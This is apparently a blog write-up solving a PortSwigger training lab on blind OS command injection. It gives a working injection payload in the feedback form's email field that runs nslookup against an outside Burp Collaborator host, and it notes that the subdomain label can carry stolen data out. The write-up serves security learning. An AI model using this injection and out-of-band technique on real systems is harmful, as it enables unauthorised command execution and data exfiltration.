The lab

here is how portswigger describes it

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

following the output redirection lab. this one is the most locked down of the three. the command runs asynchronously so it does not even affect the response timing, and there is no writable folder we can read back, so neither the delay trick nor the file redirect works. the only signal left is to make the server reach out to a machine we control.

The idea#

when a command runs but we cannot see its output, cannot time it, and cannot write it anywhere readable, we fall back to the same out of band thinking from the blind xxe and ssrf labs. instead of trying to read anything back through the application, we make the injected command cause the server to contact a server of ours, and we watch for that contact.

the cleanest way to make a server call home is a dns lookup, because even a heavily restricted server that cannot make outbound web requests can almost always still resolve a hostname. so our injected command runs nslookup against a unique subdomain of burp collaborator, which logs every dns query and http request sent to it. when the lookup for our subdomain shows up in collaborator, that is proof our command executed, even though nothing about the application's response ever changed.

Step 1 - Find the feedback feature#

the home page has the same products and feedback button as the previous labs.

clicking feedback opens the feedback form.

we submit some feedback, intercept the request, and send it to repeater.

Step 2 - Inject an nslookup to collaborator#

in burp we open the collaborator tab, copy a fresh collaborator subdomain, and change the email parameter to this, with our real subdomain in place of the placeholder.

email=x||nslookup+x.your-collaborator-subdomain||

reading it, the || runs our command after the application's intended one fails, as before. nslookup x.your-collaborator-subdomain asks the server to resolve that hostname, which forces it to send a dns query out to collaborator. the x. is just a label on the front of our subdomain, a spot where real attacks can smuggle data out, and the trailing || caps the injection. we send the request, and the response tells us nothing, which is exactly what fully blind means.

Step 3 - Confirm the dns hit in collaborator#

we switch to the collaborator tab and poll for interactions, and there is a dns lookup for our subdomain, sent by the lab server.

that lookup could only have happened if our injected nslookup ran, so the blind command injection is confirmed and the lab is solved.

with this, we solved the lab!